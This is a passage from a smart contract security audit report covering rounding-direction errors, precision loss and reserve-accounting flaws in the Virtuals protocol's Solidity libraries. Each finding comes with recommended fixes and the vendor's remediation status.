// Bn = (P0 - P_book) / ((P_book - P_blv) × c0)
uint256 bufferCoefficient = FixedPointMathLib.fullMulDivUp(
    _params.activePrice - bookPrice,
    WAD,
    (bookPrice - _params.blvPrice).mulWad(circulating)
);

// Discriminant: √((bufferCoefficient×Δy - P₀)² + 4K×Δy)
// Use upward rounding for bufferCoefficient·Δy and K·Δy to avoid understating Δx
uint256 bufferCoefficientDy = bufferCoefficient.mulWadUp(_reservesOut);
```

Can be re-written (reducing by one the number of lossy operations):

```
// Compute buffer coefficient for discriminant formula
// Bn = (P0 - P_book) / ((P_book - P_blv) × c0)
uint256 bufferCoefficientDy = FixedPointMathLib.fullMulDivUp(
    _params.activePrice - bookPrice,
    _reservesOut,
    (bookPrice - _params.blvPrice).mulWad(circulating)
);
```

Other examples:

a. CurveLib.sol#L511-#L521 - The final division could be combined with the previous denominator and numerator calculations in one `mulDiv` operation.

b. CurveLib.sol#L241-L244 - Division by `denom` followed by square and multiplication could be replaced by dividing by `denom.mulWadUp(denom)` at the end.

c. CurveLib.sol#L212-L215 - Calculation of the ratio then multiplication could be combined into a single mul/div operation using the squared numerator and squared denominators (which will have smaller rounding errors than the ratio).

- If possible, rearrange calculations to keep intermediate factors bounded ($0 < f_i < 1 + e$), and multiply by a large number (of the order of magnitude of asset amounts) only at the final step. Such deep refactors might prove costly to implement though.

Virtuals: Fixed in PR 110.

Cantina Managed: PR 110 refactors multiple `CurveLib` computations to reduce divide-before-multiply precision loss by combining intermediate steps into single `mulDiv` operations. After the fix, the relative rounding error per operation is bounded by approximately `1e-9`, and the compounded error across `N` steps is approximately `N × 1e-9` — well within acceptable bounds given non-zero fees.

3.2.4 Incorrect rounding direction in multiple steps of `quoteTokensForReservesOut`

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: The function `quoteTokensForReservesOut` in `CurveLib` calculates the amount of BTokens a user needs to provide in order to buy a given amount of reserves. Since a lower amount benefits the user, incorrect calculations and losses of precision should always increase the final amount, benefiting the protocol, and preventing insolvency or drainage. However, multiple steps of the calculation utilize the wrong rounding direction:

1. `bookPrice` in K calculation:

```
uint256 K = FixedPointMathLib.fullMulDiv(
    _params.blvPrice,
    _params.activePrice - bookPrice,
    (bookPrice - _params.blvPrice).mulWad(circulating)
);
```

In the calculation of K, a higher book price reduces K (denominator), leading to a higher final `tokensIn` result. So the calculation of *`bookPrice`* **only for the K calculation** should be rounded up. All other uses of *book price* outside of the expression for *K* should remain rounding down.

2. Multiplication by circulating in calculating K. In the same piece of code, the final multiplication by *circulating* rounds down. However, this will reduce the denominator used to calculate K, leading to an increased K and a reduced final `tokensIn` result. **This should be rounded up instead** using `mulWadUp`. Note that all multiplications and divisions in "WAD math" introduce rounding.
3. Square of "base" calculation.

```
uint256 sqrtTerm = sqrtWadUp(base.mulWad(base) + 4 * K.mulWadUp(_reservesOut));
```

Even though the final square root will round up, it's possible the intermediate rounding down in the square of `base` will introduce a negative error bringing the final value lower than it should. The `base.mulWad(base)` rounds down and should be replaced with `mulWadUp`.

This is particularly problematic as if base < 1 then $\sqrt{\text{base}} >$ base so the rounding error is amplified potentially by up to `1e9`.

Recommendation:

- A new variable that holds the book price calculated with rounding up should be introduced. This variable should be used only in the calculation of K.
- The other operations should be replaced with the correct rounding version.

Virtuals: Fixed in PR 110.

Cantina Managed: PR 110 corrects the rounding directions in `quoteTokensForReservesOut` and `getSafePriceBid` by computing both a rounded-down and a rounded-up version of the intermediate parameter and applying each in the appropriate numerator or denominator position.

3.2.5 Incorrect rounding in calculation of `liquidityAdjustedPrice` in `getSafePriceAsk`

Severity: High Risk

Context: CurveLib.sol#L476

Description: The denominator `liquidityAdjustedPrice` of the final value calculated in `getSafePriceAsk` (`CurveLib`) is calculated with rounding up.

```
// Step 3: Adjust average price by liquidity ratio
// Higher current liquidity (more tokens in pool) → lower safe price
uint256 liquidityAdjustedPrice = FixedPointMathLib.fullMulDivUp(
    averageExecutionPrice,
    snapshotActiveLiquidity,
```

```
    currentActiveLiquidity
);
```

Since the safe ask price is used to prevent profit from selling then immediately buying liquidity, any error or loss of imprecision should cause the price to be overestimated, never underestimated. However, since the code rounds up the denominator, the final value is underestimated if there's rounding. This is particularly concerning as any rounding error can be amplified by the final multiplication, potentially leading to an attacker draining the pool by repeatedly buying and selling back.

Recommendation: The code should be modified to utilize `fullMulDiv` for the calculation of the denominator `liquidityAdjustedPrice`.

Virtuals: Fixed in PR 110.

Cantina Managed: PR 110 corrects the rounding direction of `liquidityAdjustedPrice` in `getSafePriceAsk`, ensuring the safe ask price is never underestimated.

3.3 Medium Risk

3.3.1 Allocated reserves are over-reported leading to partial unbacking

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description:

```
function getAllocatedReserves(State.Pool storage _pool) internal view returns (uint256) {
    ERC4626 vault = _pool.vault;
    return isAllocated(vault)
        ? vault.convertToAssets(_pool.shareBalance)
        : 0;
}
```

`getAllocatedReserves` uses `convertToAssets` function to retrieve assets equivalent from share holdings. from ERC4626 spec's `convertToAsset`:

> MUST NOT be inclusive of any fees that are charged against assets in the Vault.
> MUST NOT show any variations depending on the caller.
> MUST NOT reflect slippage or other on-chain conditions, when performing the actual exchange.
> MUST NOT revert unless due to integer overflow caused by an unreasonably large input.
> This calculation MAY NOT reflect the “per-user” price-per-share, and instead should reflect the “average-user’s” price-per-share, meaning what the average user should expect to see when exchanging to and from.

Due to this assets are **always** over-reported compared to actual redeemable value of shares. As yield keeps getting harvested & distributed, a part of it would be unbacked since actual holdings is less, and this keeps compounding with respect to total reserves over time.

The loss is realized on `exitVault` reducing `pool.totalReserves` and undermining BLV price guarantees. If everyone withdraws before `exitVault` event happens, it will either revert if there are no other pools with same reserves, or reduce backing from other pools.

Recommendation: Replace `convertToAssets` with `previewRedeem`.

Virtuals: Fixed in VaultLib.sol#L47.

Cantina Managed: Fix verified.

3.3.2 Outstanding reserves are not correctly accounted in yield calculations during `exitVault` and `harvestYield`

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: When swaps are executed via Uniswap V4 hooks (in: reserve, out: BToken), reserve tokens remain in the PoolManager as "outstanding reserves" until explicitly swept. These outstanding reserves are included in `pool.totalReserves` but are not deposited in the vault and are not returned by `getAllocatedReserves()`.

The `getHarvestableYield()` function calculates yield as `assetsWithYield - holdings - 1`, where:

- `assetsWithYield = getAllocatedReserves()` (only vault balance).
- `holdings = pool.totalReserves - totalDebt + unclaimedFees` (includes outstanding reserves via `totalReserves`).

When `hook.outstandingReserves > 0`, `holdings` is inflated while `assetsWithYield` is not, causing `yield ≤ 0` and harvest to fail. This results in:

- Protocol, creator, and staking fees are not distributed; yield is absorbed into `totalReserves` instead.
- Book price, BLV price, and swap pricing calculations use inflated reserves.
- `bLens.getHarvestableYield` returns wrong and large negative value.

`BController.harvestYield()` and `VaultLib.exitVault()` are affected. `BStaking._sync()` already sweeps first and is unaffected.

Recommendation:

- Sweep before harvest in `harvestYield()`.

```
-  -- a/src/components/BController.sol
+  ++ b/src/components/BController.sol
  @@ -109,6 +109,9 @@ contract BController is Component {
       function harvestYield(BToken _bToken) external returns (uint256) {
           State.Pool storage pool = State.pool(_bToken);
           ERC20 reserve = pool.reserve;
+
+          // Sweep outstanding reserves into vault before harvest to ensure accurate
↪   yield calculation
+          SweepLib.sweep(_bToken);

           uint256 harvested = pool.harvest(_bToken);
```

- Sweep before harvest in `exitVault()` and remove outstanding reserves term.

```
-  -- a/src/libraries/VaultLib.sol
+  ++ b/src/libraries/VaultLib.sol
  @@ -11,6 +11,7 @@ import {State} from "src/libraries/StateLib.sol";
   import {BToken} from "src/BToken.sol";
   import {FeeLib} from "src/libraries/FeeLib.sol";
+  import {SweepLib} from "src/libraries/SweepLib.sol";

  @@ -168,6 +169,9 @@ library VaultLib {
           if (_pool.shareBalance == 0) revert VaultLib_VaultNotSet();

+          // Sweep outstanding reserves into vault before harvest to ensure accurate
↪   yield calculation
+          SweepLib.sweep(_bToken);
+
           // Clear all pending yield out from the vault
```

```
            _pool.harvest(_bToken);

  @@ -189,7 +193,7 @@ library VaultLib {

            // IMPORTANT: Update total reserve values with returned amount. Inverse of
             ↪  holdings calc.
-           // Also accounts for outstanding reserves that don't exist in the vault.
-           _pool.totalReserves = redeemed + credit.totalDebt + hook.outstandingReserves -
 ↪  FeeLib.getUnclaimedFees(_bToken);
+           // Outstanding reserves are now in vault after sweep, so no need to add them
 ↪  separately
+           _pool.totalReserves = redeemed + credit.totalDebt -
 ↪  FeeLib.getUnclaimedFees(_bToken);

            // Clear old values
```

- Update `getHarvestableYield()` to exclude outstanding reserves.

```
-  -- a/src/libraries/VaultLib.sol
+  ++ b/src/libraries/VaultLib.sol
  @@ -49,6 +49,7 @@ library VaultLib {
       function getHarvestableYield(BToken _bToken) internal view returns (int256) {
           State.Pool storage pool = State.pool(_bToken);
+          State.Hook storage hook = State.hook(_bToken);

           ERC4626 vault = pool.vault;
           if (!isAllocated(vault)) return 0;
  @@ -56,7 +57,8 @@ library VaultLib {
           // This will either be greater than 0, or -1 (due to rounding down on share
            ↪  conversion)
           uint256 assetsWithYield = getAllocatedReserves(pool);
-          uint256 holdings = pool.totalReserves - State.credit(_bToken).totalDebt +
 ↪  FeeLib.getUnclaimedFees(_bToken);
+          // Exclude outstanding reserves from holdings calculation as they're not in
 ↪  the vault
+          uint256 holdings = pool.totalReserves - State.credit(_bToken).totalDebt +
 ↪  FeeLib.getUnclaimedFees(_bToken) - hook.outstandingReserves;

           return int256(assetsWithYield) - int256(holdings) - 1;
       }
```

furthermore, `assert` or `require` can be added in `getHarvestableYield` and `exitVault` to ensure `outstanding == 0`, this will require making a new view function (for e.g `getHarvestableYieldView`) available for `BLens`. Alternatively, consider removing sweep as a whole and settle all balance in `afterSwap` hook. Testing recommendations:

1. Test `harvestYield()` with outstanding reserves > 0 before and after fix.
2. Test `exitVault()` with outstanding reserves > 0 and vault yield before and after fix.
3. Verify fees are correctly distributed to protocol, creator, and stakers.
4. Test that sweeping before harvest correctly deposits outstanding reserves into vault.
5. Verify `BLens.getHarvestableYield()` returns correct values when outstanding reserves > 0.

Virtuals: Fixed in BController.sol#L113.

Cantina Managed: BController.sol#L113 addresses the three affected code paths: `harvestYield` now calls `sweep()` before harvesting; `exitVault` factors in `outstandingReserves` without calling `sweep()` (depositing into the vault during an exit would be counterproductive); and `getHarvestableYield` now subtracts `outstandingReserves` from the holdings baseline. A new `idleReserves` field was also introduced to handle assets held on-hand pending vault deposit.

3.4 Low Risk

3.4.1 Silent failure when adding routes with signature/selector collision with Relay

Severity: Low Risk

Context: Relay.sol#L256

Description: Adding new routes (through new components or upgrades) typically has to pass checks that the function selectors being added don't collide with existing routes.

However, there are no routes added for the Relay functions themselves. That means any route added that contains a signature/selector collision with a function in the Relay will have no effect, as the Relay functions will be called and the fallback will never be called.

Effectively this DoSes the new functionality until an upgrade that changes the the new route signature/route.

Recommendation: Validate against selector collision with Relay external functions.

Virtuals: Fixed in Relay.sol#L63.

Cantina Managed: Fix verified.

3.4.2 Wrong rounding direction in intermediate result in `getBorrowForCollateral` can lead to excessive debt

Severity: Low Risk

Context: BCredit.sol#L526

Description: The function is used for calculating the allowed borrow amount for a given Collateral. Since this is used for an action that decreases protocol funds (e.g. `_leverage`), it should be always rounded down.

```
uint256 debtWad = blv.mulWadUp(collateralWad);  // ceil for obligation
```

However one of the intermediate operations rounds up creating a potential for the end result being more than expected. While the expected difference is small (likely much smaller than fees) there's a change it might be further amplified in other calculations.

Recommendation: Change the operation to round down.

Virtuals: Fixed in BCredit.sol#L535.

Cantina Managed: Fix verified.

3.4.3 Normalization of tokens with `decimals > 18` can lead to loss of precision in inputs amplified by calculation, unexpected results

Severity: Low Risk

Context: BSwap.sol#L860

Description: Function `_getCurveParams` normalizes all token amount decimals to 18. While in most realistic scenarios this doesn't introduce loss of precision, when the original number of decimals is more than 18 there is a loss of precision in token amounts.

Since these are input values to multiple compounded operations, any loss of precision is likely to be amplified, in particular in a pool manipulated or with low liquidity.

The final error in end results is hard to predict, and in particular we can't predict the direction (whether it favours user/attacker or protocol).

- When the amounts appear in a numerator it will end up rounding down the final value.
- When they appear in a denominator it will end up rounding up the final value.

If there are multiple uses the end result is even more chaotic.

Recommendation: The safest would be to reject tokens with more than 18 decimals so we know there isn't loss of precision.

Since there are no plans to support tokens with decimals > 18 in the near future this should have no impact in functionality and guarantee these issues can't be exploited.

Virtuals: Fixed in BController.sol#L151.

Cantina Managed: Fix verified.

3.4.4 Native asset can be lost in `claimPoolFees` if fee receiver can't handle native asset (ETH)

Severity: Low Risk

Context: BController.sol#L166

Description: The function `claimPoolFees` is permissionless meaning anyone can call it to send accumulated pool fees to the configured pool receiver.

While in general this is safe, the caller has the option of setting the parameter `_asNative`. If that parameter is set as `true` then any wrapped native asset (WETH) will be unwrapped and sent as native to the fee receiver.

The problem is that we don't know if the fee receiver is a contract, and whether that contract can handle both native and wrapped assets. If the fee collector can't handle native fees and the caller sets `_asNative` then it's possible the fee amount will be locked as native (ETH) balance in the fee receiver indefinitely.

Recommendation: Whether funds should be sent as native or wrapped assets should be a configuration of the pool and not an option set permissionlessly by any caller.

Alternatively claim fees could be a permissioned action.

Virtuals: Fixed in BController.sol#L183.

Cantina Managed: Fix verified.

3.4.5 Incorrect rounding underestimates reserves in `computeBuyTokens`

Severity: Low Risk

Context: BSwap.sol#L269

Description: In `computeBuyTokens` (`BSwap`) the rounding direction of the final denormalization of `poolReservesIn` in incorrect, underestimating the amount of reserves the user needs to provide for tokens with less than 18 decimals.

```
poolReservesIn = NormalizeLib.denormalizeWad(
    CurveLib.quoteReservesForTokensOut(params, tokensOutWad),
    pool.reserve.decimals()
);
```

Recommendation: The denormalization call should be replaced with `denormalizeWadUp`.

Virtuals: Fixed in PR 110.

Cantina Managed: Fix verified.

3.4.6 Max Fee Protected Trade Size can be overestimated leading to potentially unsafe trades and losses

Severity: Low Risk

Context: CurveLib.sol#L521

Description: The function `getMaxFeeProtectedTradeSize` determines the maximum trade size that is safe, given the fee rate, that is, the maximum trade that can't be profitable without arbitration safeguards. However, the function performs rounding up in all it's lossy calculations, leading to the possibility of the safe trade being overestimated. While the margin should be small, there is potential for rounding errors being amplified by further computations.

Recommendation: Rounding in the function should be changed to ensure the final value is underestimated (round down in numerator, round up in denominator).

Virtuals: Acknowledged. The `getMaxFeeProtectedTradeSize` function has since been removed.

Cantina Managed: Acknowledged.

3.4.7 Wrong max used in `_getDynamicFee`

Severity: Low Risk

Context: BSwap.sol#L655

Description: `1e18` represents 100% but `100e18` is used. this doesn't cause any impact for given range currently.

Recommendation: Replace with `1e18`.

Virtuals: Acknowledged.

Cantina Managed: Acknowledged.

3.4.8 `getCirculatingSupply` doesn't represent true circulating supply

Severity: Low Risk

Context: BSwap.sol#L876-L878

Description: the solady ERC20 contract which is used for BToken implementation doesn't treat `address(0)` as special address, when transfering to `address(0)` instead of burning, it doesn't decrease `totalSupply`. So even if tokens are burned by transferring to `address(0)`, it will be considered circulating. Apart from it, there are several other vanity address which can be considered non-circulating such as:

- `0x000000000000000000000000000000000000dEaD`.
- `0x00000000000000000000000000000000DeaDBeef`.
- Chain & token specific burn addresses.

Recommendation:

- Consider incorporating such address if & wherever required basis product use-case.
- Document any relevant behavior for deployer and traders.

Virtuals: Acknowledged.

Cantina Managed: Acknowledged.

3.4.9 Deprecated solmate library is used

Severity: Low Risk

Context: foundry.toml#L21-L22

Description: Several contracts are imported from solmate at various places:

- `WETH`.
- `ERC20`.
- `ERC4626`.
- `SafeTransferLib`.
- `Owned`.

However, the library is deprecated and might not receive any security patches and future opcodes & compiler support.

Recommendation: Consider replacing with equivalent ones from solady.

Virtuals: Acknowledged.

Cantina Managed: Acknowledged.

3.5 Gas Optimization

3.5.1 Duplicated logic in `BHook`

Severity: Gas Optimization

Context: BHook.sol#L216

Description: The logic for treating different types of swap is duplicated in `BHook` leading to spending unnecessary gas and making the code less readable and more prone to introducing bugs in the future.

Recommendation: Refactor the variable attributions inside the first if/else chain.

Virtuals: Fixed in BHook.sol#L187.

Cantina Managed: Fix verified.

3.6 Informational

3.6.1 Non-payable function `executeActions` limits scripts that need native (ETH) funds

Severity: Informational

Context: Relay.sol#L112

Description: The function `executeActions` in `Relay` isn't payable, making it impossible for a script to be directly funded with native asset (ETH) possibly needed for its execution. Sending ETH before the execution of the script might be unsafe and pulling WETH and unwrapping unnecessarily complicates the process.

Recommendation: Add the payable modifier.

Virtuals: Fixed in Relay.sol#L133.

Cantina Managed: Fix verified.

3.6.2 Incorrect locking of collateral might lead to reuse of collateral (draining protocol) if swapping zero amount

Severity: Informational

Context: BCredit.sol#L227

Description: The logic treating locking of collateral in a leverage is incorrect, as it only locks the collateral if there is an amount to swap. It could make sense to leverage when all required collateral is provided by the user -- in that case it would be equivalent to borrowing the maximum for the collateral.

But in that scenario where `_totalCollateral - _collateralToUtilize == 0` the if statement means the collateral isn't locked at all. Luckily, the `buyTokens` inside `_leverage` would revert, otherwise a user could simply utilize the same collateral multiple times and drain the pool, which makes the issue non-exploitable in itself.

Recommendation: Probably the best here is to change from `if` to `require`. Alternatively, in the case where the difference is zero needs to be supported, then the locking of collateral should be outside the if statement (and `_leverage` should be changed to not call `buyTokens`).

Virtuals: Fixed in BCredit.sol#L338.

Cantina Managed: Fix verified.

3.6.3 Lack of specification on treatment of losses, unexpected potentially exploitable behavior

Severity: Informational

Context: VaultLib.sol#L189-L191

Description: While it's assumed reserves will never fall below the necessary to sustain BLV prices, it is possible that unforeseen causes produce that state -- bugs in the contract or vaults, rounding issue in the contract or vaults, exploits, changes in token code (e.g. transfer fees).

However, in that case, contracts will treat the pool as having `convexity = 0` leading to the active price being used indefinitely without any safeguards -- which could lead to insolvency, and uneven distribution of losses among users, potentially benefiting front-runners or exploiters.

While the scenario breaks a fundamental assumption, it is important to ensure a breach of such assumption doesn't result in unbounded loss.

Recommendation: A design decision should be taken on how to deal with such scenarios, then implemented.

Ideally, an assertion reverts all pool operations if the reserves aren't sufficient to guarantee BLV price (pool paused until upgrade).

This would allow an upgrade to deal with the emergency and redeem tokens in an orderly way.

Virtuals: Fixed in Component.sol#L29.

Cantina Managed: Component.sol#L29 introduces pool-level and token-level pausability, applied to all major functions via a modifier. While automatic pausing triggered by invariant violations would be ideal, explicit pausability provides an important safety valve with minimal risk of introducing new bugs.

3.6.4 Settlement shouldn't accept giving both tokens and reserves to caller

Severity: Informational

Context: BSwap.sol#L836

Description: While if all other code and calculations are correct `_settleSwap` should never be called with both deltas (`_bTokenDelta`, `_reserveDelta`) having the same sign - issues in the code such as the identified unsafe cast might lead to such arguments.

Still unidentified issues or code paths could cause the settlement to both give tokens and reserves to the caller. In that case the `uint256` cast will be unsafe and the end result an invalid transfer of funds.

Recommendation: Even if no vector is known that can exploit the code path, ideally the invalid call should be rejected, by reverting if both deltas are > 0 or both < 0.

Virtuals: Fixed in PR 110.

Cantina Managed: Fix verified.

3.6.5 Risks of calling `BStaking.liquidate` in isolation

Severity: Informational

Context: BStaking.sol#L141-L145

Description: `account.locked` is updated by `BCredit.defaultSelf`, which internally calls `BStaking.liquidate`, so if/when `BStaking.liquidate` is called by permissioned actor in isolation, the state would be out of sync.

Recommendation:

- Consider documenting that `BStaking.liquidate` should not be called directly.
- Move `account.locked` handling to be agnostic of which function is called.

Virtuals: Acknowledged.

Cantina Managed: Acknowledged.

3.6.6 Multiple claim entries per `msg.sender` are not supported

Severity: Informational

Context: BCredit.sol#L145

Description:

```
bytes32 leaf = keccak256(
    bytes.concat(
        keccak256(
            abi.encode(msg.sender, abi.encode(_collateral, _debt))
        )
    )
);
//...
require(!credit.claimed[msg.sender], BCredit_AlreadyClaimed());
```

If there are multiple leaves in the merkle root for a given `msg.sender`, only the first claim would be successful and rest will revert.

Recommendation:

- Leaf should be marked as claimed instead of msg.sender.
- Explicitly document there should be no more than 1 leaf per address.

Virtuals: Acknowledged.

Cantina Managed: Acknowledged.